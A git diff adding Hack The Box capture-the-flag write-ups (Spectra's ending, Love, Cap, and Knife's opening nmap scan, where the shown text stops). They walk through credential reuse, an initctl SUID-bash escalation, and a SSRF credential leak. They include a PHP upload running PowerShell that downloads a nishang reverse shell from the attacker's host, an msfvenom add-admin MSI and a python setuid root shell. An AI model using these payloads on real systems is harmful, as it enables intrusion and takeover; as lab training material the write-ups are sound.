2020 root + 4.0K drwxr-xr-x 4 root root 4.0K Jul 20 2020 user + nginx@spectra ~ $ ls -lash /home/katie + ls -lash /home/katie + total 36K + 4.0K drwxr-xr-x 5 katie katie 4.0K Feb 2 2021 . + 4.0K drwxr-xr-x 8 root root 4.0K Feb 2 2021 .. + 0 lrwxrwxrwx 1 root root 9 Feb 2 2021 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 katie katie 127 Dec 22 2020 .bash_logout + 4.0K -rw-r--r-- 1 katie katie 204 Dec 22 2020 .bash_profile + 4.0K -rw-r--r-- 1 katie katie 551 Dec 22 2020 .bashrc + 4.0K drwx------ 3 katie katie 4.0K Jan 15 2021 .pki + 4.0K drwx------ 2 katie katie 4.0K Feb 10 06:10 .ssh + 4.0K drwxr-xr-x 2 katie katie 4.0K Jan 15 2021 log + 4.0K -r-------- 1 katie katie 33 Feb 2 2021 user.txt + nginx@spectra ~ $ cat /home/katie/user.txt + cat /home/katie/user.txt + cat: /home/katie/user.txt: Permission denied + + +Now if we take a look at **/etc/autologin/passwd** we see a cleartext password: + + + nginx@spectra ~ $ cat /etc/autologin/passwd + cat /etc/autologin/passwd + SummerHereWeCome!! + + + +So let's try to use it to login as the katie user: + + + [ 10.10.14.34/23 ] [ /dev/pts/25 ] [~/HTB/Spectra] + → ssh katie@spectra.htb + The authenticity of host 'spectra.htb (10.129.186.23)' can't be established. + RSA key fingerprint is SHA256:lr0h4CP6ugF2C5Yb0HuPxti8gsG+3UY5/wKjhnjGzLs. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'spectra.htb,10.129.186.23' (RSA) to the list of known hosts. + Password: + katie@spectra ~ $ id + uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers) + katie@spectra ~ $ cat user.txt + e8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there we go! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to get to the root flag we first need to enumerate the box. To do that we can use linpeas.sh: + + + [term1] + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra] + → ls -lash linpeas.sh + 336K -rwxr-xr-x 1 nothing nothing 334K Aug 9 15:52 linpeas.sh + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [term2] + katie@spectra ~ $ wget http://10.10.14.34:9090/linpeas.sh -O /tmp/linpeas.sh + --2021-08-09 07:50:17-- http://10.10.14.34:9090/linpeas.sh + Connecting to 10.10.14.34:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: '/tmp/linpeas.sh' + + /tmp/linpeas.sh 100%[======================================================================================================================================================>] 333.85K 143KB/s in 2.3s + + 2021-08-09 07:50:21 (143 KB/s) - '/tmp/linpeas.sh' saved [341863/341863] + + katie@spectra ~ $ chmod +x /tmp/linpeas.sh + katie@spectra ~ $ /tmp/linpeas.sh + -bash: /tmp/linpeas.sh: Permission denied + + + +However there's a problem since we cannot run it, therefore we check it manually, our first reflex is to check **sudo -l** : + + + katie@spectra ~ $ sudo -l + User katie may run the following commands on spectra: + (ALL) SETENV: NOPASSWD: /sbin/initctl + + + +Here it looks like we can run /sbin/initctl without any password, so let's look for a gtfobin: + +![](prg/60_010.png) + +However there's no gtfobin for it. + + + katie@spectra ~ $ sudo initctl + initctl: missing command + Try `initctl --help' for more information. + katie@spectra ~ $ sudo initctl --help + Usage: initctl [OPTION]... COMMAND [OPTION]... [ARG]... + + Options: + --session use D-Bus session bus to connect to init daemon (for testing) + --system use D-Bus system bus to connect to init daemon + --dest=NAME destination well-known name on D-Bus bus + -q, --quiet reduce output to errors only + -v, --verbose increase output to include informational messages + --help display this help and exit + --version output version information and exit + + For a list of commands, try `initctl help'. + + + +Here we can see that this binary can be used to communicate and interact with the upstart init daemon, processes managed by init are defined by files in the **/etc/init** directory. So we can create a **privesc.conf** file in /etc/init, however the directory itself is owned by the root user, therefore we need to access it with another group, the **developers** group: + + + katie@spectra /etc/init $ id + uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers) + katie@spectra /etc/init $ ls -lash | grep developers + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test.conf + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test1.conf + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test10.conf + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test2.conf + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test3.conf + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test4.conf + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test5.conf + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test6.conf + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test7.conf + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test8.conf + 4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test9.conf + + + +So since we can only access these .conf files we're going to have our privesc file into **test.conf** so let's edit it to change permissions on the bash binary: + + + katie@spectra /etc/init $ vim test.conf + katie@spectra /etc/init $ cat test.conf + script + chmod +s /bin/bash + end script + katie@spectra /etc/init $ sudo /sbin/initctl start test + test start/running, process 21674 + katie@spectra /etc/init $ /bin/bash -p + bash-4.3# id + uid=20156(katie) gid=20157(katie) euid=0(root) egid=0(root) groups=0(root),20157(katie),20158(developers) + bash-4.3# cat /root/root.txt + d4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to privesc to the root user and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/60_graph.png) + diff --git a/Easy/61.md b/Easy/61.md new file mode 100644 index 0000000..672399b --- /dev/null +++ b/Easy/61.md @@ -0,0 +1,363 @@ +# Love Writeup + +![](img/61.png) + +## Introduction : + +Love is an easy Windows box released back in May 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB] + → nmap -vvv -p- 10.129.48.103 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 135/tcp on 10.129.48.103 + Discovered open port 3306/tcp on 10.129.48.103 + Discovered open port 80/tcp on 10.129.48.103 + Discovered open port 445/tcp on 10.129.48.103 + Discovered open port 443/tcp on 10.129.48.103 + Discovered open port 139/tcp on 10.129.48.103 + Discovered open port 7680/tcp on 10.129.48.103 + Discovered open port 49668/tcp on 10.129.48.103 + Discovered open port 49667/tcp on 10.129.48.103 + Discovered open port 49664/tcp on 10.129.48.103 + Discovered open port 47001/tcp on 10.129.48.103 + Discovered open port 49666/tcp on 10.129.48.103 + Discovered open port 5040/tcp on 10.129.48.103 + Discovered open port 49669/tcp on 10.129.48.103 + Discovered open port 49665/tcp on 10.129.48.103 + Discovered open port 49670/tcp on 10.129.48.103 + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB] + → nmap -sCV -p135,80,139,445,443 10.129.48.103 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 20:19 CEST + Nmap scan report for 10.129.48.103 + Host is up (0.45s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) + | http-cookie-flags: + | /: + | PHPSESSID: + |_ httponly flag not set + |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 + |_http-title: Voting System using PHP + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) + |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 + |_http-title: 403 Forbidden + | ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in + | Not valid before: 2021-01-18T14:00:16 + |_Not valid after: 2022-01-18T14:00:16 + |_ssl-date: TLS randomness does not represent time + | tls-alpn: + |_ http/1.1 + 445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP) + Service Info: Hosts: www.example.com, LOVE; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 2h41m33s, deviation: 4h02m31s, median: 21m32s + | smb-os-discovery: + | OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3) + | OS CPE: cpe:/o:microsoft:windows_10::- + | Computer name: Love + | NetBIOS computer name: LOVE\x00 + | Workgroup: WORKGROUP\x00 + |_ System time: 2021-08-10T11:41:29-07:00 + | smb-security-mode: + | account_used: guest + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2021-08-10T18:41:32 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 39.83 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 at love.htb (see the SSL Cert) so let's investigate it: + + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.129.48.103 love.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping love.htb + PING love.htb (10.129.48.103) 56(84) bytes of data. + 64 bytes from love.htb (10.129.48.103): icmp_seq=1 ttl=127 time=24.4 ms + 64 bytes from love.htb (10.129.48.103): icmp_seq=2 ttl=127 time=28.5 ms + 64 bytes from love.htb (10.129.48.103): icmp_seq=3 ttl=127 time=23.3 ms + ^C + --- love.htb ping statistics --- + 3 packets transmitted, 3 received, 0% packet loss, time 2003ms + rtt min/avg/max/mdev = 23.337/25.387/28.458/2.211 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB] + → + + +` ![](prg/61_001.png) + +Here we get a login form, nothing interesting there, so we check out the subdomain that our nmap scan picked up at **staging.love.htb** after editing our /etc/hosts file: + + + o + [ 10.10.14.34/23 ] [ /dev/pts/1 ] [~/HTB] + → cat /etc/hosts | grep love.htb + 10.129.48.103 staging.love.htb love.htb + + +` ![](prg/61_002.png) + +Clicking on 'Demo', redirects us to **/beta.php** which wants us to specify an URL to scan a file: + +![](prg/61_003.png) + +So here we can apparently get the box to scan what it interprets as local addresses, so let's try the other ports our nmap scan picked up: + +![](prg/61_004.png) + +Here's why this is an easy box, using the file scan feature we make it scan it's own port 5000 that our nmap scan picked up and the html file it returns is basically showing us admin credentials with the password **@LoveIsInTheAir!!!!** + +So for the next step let's use the credentials we just got to login as admin into the love.htb login form we found earlier: + +![](prg/61_005.png) ![](prg/61_006.png) + +And we're logged in as the "Neo Devierte" user! Now from here we navigate to the 'voters' page: + +![](prg/61_007.png) ![](prg/61_008.png) + +So here's the plan: + +![](prg/61_009.png) + +So from here we know a few things, first this is a windows machine, so we know that we will probably need a reverse shell **payload for powershell** , probably we're going to use **[nishang's revshell ps1](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell)** for that, Second of all we know that this box uses **php** , therefore we need a payload to make the box run **exec()** to download our revshell ps1 payload and execute it in order to get a reverse shell, so we prepare our 2 payloads: + + + [term1] + [ 10.10.14.34/23 ] [ /dev/pts/13 ] [~/HTB/Love] + → nc -lvnp 9001 + Listening on 0.0.0.0 9001 + + + [term2] + [ 10.10.14.34/23 ] [ /dev/pts/1 ] [~/HTB/Love] + → curl https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 > revshell.ps1 + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 4339 100 4339 0 0 61112 0 --:--:-- --:--:-- --:--:-- 61112 + + [ 10.10.14.34/23 ] [ /dev/pts/1 ] [~/HTB/Love] + → vim revshell.ps1 + + [ 10.10.14.34/23 ] [ /dev/pts/1 ] [~/HTB/Love] + → tail -n2 revshell.ps1 + Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.34 -Port 9001 + + [ 10.10.14.34/23 ] [ /dev/pts/1 ] [~/HTB/Love] + → vim shell.php + + [ 10.10.14.34/23 ] [ /dev/pts/1 ] [~/HTB/Love] + → cat shell.php + <****?php echo exec("powershell IEX (New-Object Net.WebClient).DownloadString('**http://10.10.14.34:9090/revshell.ps1** ')"); ?> + + + +Now we're going to host the **revshell.ps1** payload we just made with a simple python3 http server **on port 9090** + + + [term2] + [ 10.10.14.34/23 ] [ /dev/pts/1 ] [~/HTB/Love] + → cat shell.php + <****?php echo exec("powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.34/revshell.ps1')"); ?> + + [ 10.10.14.34/23 ] [ /dev/pts/1 ] [~/HTB/Love] + → cat revshell.ps1 | tail -n2 + Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.34 -Port 9001 + + + [ 10.10.14.34/23 ] [ /dev/pts/1 ] [~/HTB/Love] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + +Once that's done, we upload our shell.php file through the image upload and see if we get a reverse shell connection back: + +![](prg/61_010.png) ![](prg/61_011.png) + +We successfully managed to upload our shell.php file as the voter's profile picture, and when we check our terminal we see that our plan got executed: + + + [term2] + [ 10.10.14.34/23 ] [ /dev/pts/1 ] [~/HTB/Love] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.129.48.103 - - [13/Aug/2021 21:49:33] "GET /revshell.ps1 HTTP/1.1" 200 - + + [term1] + [ 10.10.14.34/23 ] [ /dev/pts/13 ] [~/HTB/Love] + → nc -lvnp 9001 + Listening on 0.0.0.0 9001 + Connection received on 10.129.48.103 62349 + Windows PowerShell running as user Phoebe on LOVE + Copyright (C) 2015 Microsoft Corporation. All rights reserved. + + PS C:\xampp\htdocs\omrs\images>whoami + love\phoebe + + +And we have a reverse shell back! Now let's see if we can get to the user's flag: + + + PS C:\xampp\htdocs\omrs\images> cd ~ + PS C:\Users\Phoebe> ls + + + Directory: C:\Users\Phoebe + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d-r--- 4/12/2021 3:50 PM 3D Objects + d-r--- 4/12/2021 3:50 PM Contacts + d-r--- 4/13/2021 3:20 AM Desktop + d-r--- 4/12/2021 3:50 PM Documents + d-r--- 4/13/2021 9:55 AM Downloads + d-r--- 4/12/2021 3:50 PM Favorites + d-r--- 4/12/2021 3:50 PM Links + d-r--- 4/12/2021 3:50 PM Music + d-r--- 4/12/2021 3:52 PM OneDrive + d-r--- 4/21/2021 7:01 AM Pictures + d-r--- 4/12/2021 3:50 PM Saved Games + d-r--- 4/12/2021 3:51 PM Searches + d-r--- 4/23/2021 3:39 AM Videos + + + PS C:\Users\Phoebe> type Desktop\user.txt + b2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we have been able to get the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to get to the Administrator Privileges, we need to enumerate the box, let's do so using **Invoke-winPEAS.ps1** by powershell-empire: + + + [term1] + [ 10.10.14.34/23 ] [ /dev/pts/12 ] [~/HTB/Love] + → locate winPEAS | grep ps1 + /home/nothing/HTB/Buff/Invoke-winPEAS.ps1 + /home/nothing/HTB/Omni/SirepRAT/Invoke-winPEAS.ps1 + /home/nothing/HTB/Sauna/Invoke-winPEAS.ps1 + /usr/share/powershell-empire/empire/server/data/module_source/privesc/Invoke-winPEAS.ps1 + + [ 10.10.14.34/23 ] [ /dev/pts/12 ] [~/HTB/Love] + → cp /home/nothing/HTB/Buff/Invoke-winPEAS.ps1 . + + [ 10.10.14.34/23 ] [ /dev/pts/12 ] [~/HTB/Love] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [term2] + PS C:\Users\Phoebe> curl http://10.10.14.34:9090/Invoke-winPEAS.ps1 -o peas.ps1 + PS C:\Users\Phoebe> ls + + + Directory: C:\Users\Phoebe + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d-r--- 4/12/2021 3:50 PM 3D Objects + d-r--- 4/12/2021 3:50 PM Contacts + d-r--- 4/13/2021 3:20 AM Desktop + d-r--- 4/12/2021 3:50 PM Documents + d-r--- 4/13/2021 9:55 AM Downloads + d-r--- 4/12/2021 3:50 PM Favorites + d-r--- 4/12/2021 3:50 PM Links + d-r--- 4/12/2021 3:50 PM Music + d-r--- 4/12/2021 3:52 PM OneDrive + d-r--- 4/21/2021 7:01 AM Pictures + d-r--- 4/12/2021 3:50 PM Saved Games + d-r--- 4/12/2021 3:51 PM Searches + d-r--- 4/23/2021 3:39 AM Videos + -a---- 8/13/2021 1:24 PM 233056 peas.ps1 + + + + PS C:\Users\Phoebe> import-module ./peas.ps1 + PS C:\Users\Phoebe> Invoke-winPEAS + + +` ![](prg/61_012.png) + +Let it run a bit, and then scrolling down we see the following: + +![](prg/61_013.png) + +So when these 2 registers are enabled, then users of any privilege can install **.msi** files as **NT AUTHORITY\SYSTEM** , therefore we can simply go to the suggested link to hacktricks.xyz [here](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated): + +![](prg/61_014.png) + +TLDR we're going to generate a malicious **privesc.msi** file using **metasploit** in order to create an account with admin permissions to be able to access the box remotely with admin access: + + + [term 1] + [ 10.10.14.34/23 ] [ /dev/pts/12 ] [~/HTB/Love] + → msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi + [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload + [-] No arch selected, selecting arch: x86 from the payload + No encoder specified, outputting raw payload + Payload size: 284 bytes + Final size of msi file: 159744 bytes + Saved as: alwe.msi + + [ 10.10.14.34/23 ] [ /dev/pts/12 ] [~/HTB/Love] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.129.48.103 - - [13/Aug/2021 22:39:22] "GET /alwe.msi HTTP/1.1" 200 - + + [term 2] + PS C:\Users\Phoebe> curl http://10.10.14.34:9090/alwe.msi -o privesc.msi + PS C:\Users\Phoebe> msiexec /qn /i privesc.msi + + [term 3] + [ 10.10.14.34/23 ] [ /dev/pts/15 ] [~/HTB/Love] + → evil-winrm -u rottenadmin -p 'P@ssword123!' -i 10.129.48.103 + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\rottenadmin\Documents> cd C:\Users\Administrator\Desktop + *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt + c7XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/61_graph.png) + diff --git a/Easy/62.md b/Easy/62.md new file mode 100644 index 0000000..c5df149 --- /dev/null +++ b/Easy/62.md @@ -0,0 +1,229 @@ +# Cap Writeup + +![](img/62.png) + +## Introduction : + +Cap is an Easy linux box released back in June 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB] + → sudo vim /etc/hosts + [sudo] password for nothing: + + [ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB] + → cat /etc/hosts | tail -n1 + 10.129.111.61 cap.htb + + [ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB] + → nmap -sCV cap.htb + Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-28 18:26 CEST + Nmap scan report for cap.htb (10.129.111.61) + Host is up (0.041s latency). + Not shown: 997 closed tcp ports (conn-refused) + PORT STATE SERVICE VERSION + 21/tcp open ftp vsftpd 3.0.3 + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA) + | 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA) + |_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519) + 80/tcp open http gunicorn + |_http-server-header: gunicorn + |_http-title: Security Dashboard + | fingerprint-strings: + | FourOhFourRequest: + | HTTP/1.0 404 NOT FOUND + | Server: gunicorn + | Date: Thu, 28 Apr 2022 16:27:05 GMT + | Connection: close + | Content-Type: text/html; charset=utf-8 + | Content-Length: 232 + | <****!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> + | <****title>404 Not Found + | <****h1>Not Found + + + | <****p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again. <****/p> + | GetRequest: + | HTTP/1.0 200 OK + | Server: gunicorn + | Date: Thu, 28 Apr 2022 16:26:59 GMT + | Connection: close + | Content-Type: text/html; charset=utf-8 + | Content-Length: 19386 + + [...] + + Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 130.33 seconds + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/62_001.png) + +So as we can see, the mentionned ip (10.10.14.57) in the pcap file is my IP, and the file is titled 1.pcap. So let's dirbust the website to find other pcap files using gobuster: + + + [ 10.10.14.57/23 ] [ /dev/pts/31 ] [~/HTB] + → gobuster dir -u http://cap.htb/data/ -t 50 -w /usr/share/seclists/Discovery/Web-Content/common.txt -b 302,403,404 + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://cap.htb/data/ + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt + [+] Negative Status codes: 302,403,404 + [+] User Agent: gobuster/3.1.0 + [+] Timeout: 10s + =============================================================== + 2022/04/28 18:45:14 Starting gobuster in directory enumeration mode + =============================================================== + /0 (Status: 200) [Size: 17147] + /01 (Status: 200) [Size: 17144] + /1 (Status: 200) [Size: 17144] + /00 (Status: 200) [Size: 17147] + + =============================================================== + 2022/04/28 18:45:19 Finished + =============================================================== + + + +Gobuster found the /0 directory so let's go see what is in it: + +![](prg/62_002.png) + +going to http://cap.htb/0/ we find the 0.pcap which contains packet information regarding the nathan user's password **Buck3tH4TF0RM3!**. So let's try to login via SSH with his credentials: + + + [ 10.10.14.57/23 ] [ /dev/pts/31 ] [~/HTB] + → ssh nathan@cap.htb + The authenticity of host 'cap.htb (10.129.111.61)' can't be established. + ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI. + This key is not known by any other names + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'cap.htb' (ED25519) to the list of known hosts. + nathan@cap.htb's password: + Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Thu Apr 28 16:52:29 UTC 2022 + + System load: 0.0 + Usage of /: 36.7% of 8.73GB + Memory usage: 21% + Swap usage: 0% + Processes: 226 + Users logged in: 0 + IPv4 address for eth0: 10.129.111.61 + IPv6 address for eth0: dead:beef::250:56ff:fe96:4e24 + + => There are 2 zombie processes. + + * Super-optimized for small spaces - read how we shrank the memory + footprint of MicroK8s to make it the smallest full K8s around. + + https://ubuntu.com/blog/microk8s-memory-optimisation + + 63 updates can be applied immediately. + 42 of these updates are standard security updates. + To see these additional updates run: apt list --upgradable + + + The list of available updates is more than a week old. + To check for new updates run: sudo apt update + + Last login: Thu May 27 11:21:27 2021 from 10.10.14.7 + nathan@cap:~$ cat user.txt + 54XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we got the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to get Root access we need to enumerate the machine, to do that we use linpeas.sh: + + + [term1] + [ 10.10.14.57/23 ] [ /dev/pts/34 ] [~/HTB/Cap] + → wget https://github.com/carlospolop/PEASS-ng/releases/download/20220424/linpeas.sh + --2022-04-28 19:02:02-- https://github.com/carlospolop/PEASS-ng/releases/download/20220424/linpeas.sh + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 52.69.186.44 + Connecting to github.com (github.com)|52.69.186.44|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/081066de-a078-45b2-bfb8-06253be16e3a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential;=AKIAIWNJYAX4CSVEH53A%2F20220428%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date;=20220428T170203Z&X-Amz-Expires;=300&X-Amz-Signature;=1f55ea92c90e5d3e1cdc14915367707f214da89d55934a919e20dbde9ba79ac6&X-Amz-SignedHeaders;=host&actor;_id=0&key;_id=0&repo;_id=165548191&response-content-disposition;=attachment%3B%20filename%3Dlinpeas.sh&response-content-type;=application%2Foctet-stream [following] + --2022-04-28 19:02:03-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/081066de-a078-45b2-bfb8-06253be16e3a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential;=AKIAIWNJYAX4CSVEH53A%2F20220428%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date;=20220428T170203Z&X-Amz-Expires;=300&X-Amz-Signature;=1f55ea92c90e5d3e1cdc14915367707f214da89d55934a919e20dbde9ba79ac6&X-Amz-SignedHeaders;=host&actor;_id=0&key;_id=0&repo;_id=165548191&response-content-disposition;=attachment%3B%20filename%3Dlinpeas.sh&response-content-type;=application%2Foctet-stream + Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ... + Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 776167 (758K) [application/octet-stream] + Saving to: ‘linpeas.sh’ + + linpeas.sh 100%[===========================================================================================================================>] 757.98K 3.67MB/s in 0.2s + + 2022-04-28 19:02:04 (3.67 MB/s) - ‘linpeas.sh’ saved [776167/776167] + + + [ 10.10.14.57/23 ] [ /dev/pts/34 ] [~/HTB/Cap] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.129.111.61 - - [28/Apr/2022 19:02:24] "GET /linpeas.sh HTTP/1.1" 200 - + + [term2] + nathan@cap:~$ which wget curl + /usr/bin/wget + /usr/bin/curl + nathan@cap:~$ wget http://10.10.14.57:9090/linpeas.sh -O /tmp/linpeas.sh + --2022-04-28 17:02:24-- http://10.10.14.57:9090/linpeas.sh + Connecting to 10.10.14.57:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 776167 (758K) [application/x-sh] + Saving to: ‘/tmp/linpeas.sh’ + + /tmp/linpeas.sh 100%[===========================================================================================================================>] 757.98K 1.87MB/s in 0.4s + + 2022-04-28 17:02:24 (1.87 MB/s) - ‘/tmp/linpeas.sh’ saved [776167/776167] + + nathan@cap:~$ chmod +x /tmp/linpeas.sh + nathan@cap:~$ /tmp/linpeas.sh + + + +` ![](prg/62_003.png) ![](prg/62_004.png) + +Now looking at the output of linpeas.sh we see that the cap_setuid capability has been enabled on the python3.8 binary. Which means that the user can run this binary as the root user. So we simply use python's [gtfobin](https://gtfobins.github.io/gtfobins/python/#capabilities): + + + nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")' + # id + uid=0(root) gid=1001(nathan) groups=1001(nathan) + # cat /root/root.txt + bfXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to escalate our privileges to the root user and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/62_graph.png) + diff --git a/Easy/63.md b/Easy/63.md new file mode 100644 index 0000000..4999814 --- /dev/null +++ b/Easy/63.md @@ -0,0 +1,269 @@ +# Knife Writeup + +![](img/63.png) + +## Introduction : + +Knife is an easy Linux box released back in May 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.57/23 ] [ /dev/pts/0 ] [~/HTB] + → sudo vim /etc/hosts + [sudo] password for nothing: + + [ 10.10.14.57/23 ] [ /dev/pts/0 ] [~/HTB] + → cat /etc/hosts | tail -n1 + 10.129.111.84 knife.htb + + [ 10.10.14.57/23 ] [ /dev/pts/0 ] [~/HTB] + → nmap -sCV knife.htb + Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-28 21:44 CEST + Nmap scan report for knife.htb (10.129.111.84) + Host is up (0.039s latency). + Not shown: 998 closed tcp ports (conn-refused) + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA) + | 